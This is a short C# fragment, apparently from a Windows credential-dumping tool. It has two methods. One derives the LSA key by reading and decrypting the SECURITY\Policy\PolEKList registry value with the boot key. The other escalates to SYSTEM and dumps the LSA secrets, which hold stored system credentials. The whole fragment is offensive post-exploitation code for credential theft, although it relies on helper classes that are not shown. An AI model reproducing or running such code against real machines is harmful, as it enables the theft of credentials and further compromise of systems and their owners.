//////////////////////////////////////////////////////////////////////////////// // //////////////////////////////////////////////////////////////////////////////// public static Byte[] GetLsaKey(Byte[] bootKey) { Byte[] polEKList = (Byte[])Reg.ReadRegKey(Reg.HKEY_LOCAL_MACHINE, @"SECURITY\Policy\PolEKList", ""); Byte[] lsaKey = LSASecrets.DecryptLsa(polEKList, bootKey); lsaKey = lsaKey.Skip(68).Take(32).ToArray(); return(lsaKey); }
public static String DumpLsa() { StringBuilder output = new StringBuilder(); CheckPrivileges checkSystem = new CheckPrivileges(); String results = ""; if (checkSystem.GetSystem()) { LSASecrets lsaSecrets = new LSASecrets(); lsaSecrets.DumpLSASecrets(); results = lsaSecrets.GetOutput(); } output.Append("\n" + checkSystem.GetOutput() + "\n" + results); return(output.ToString()); }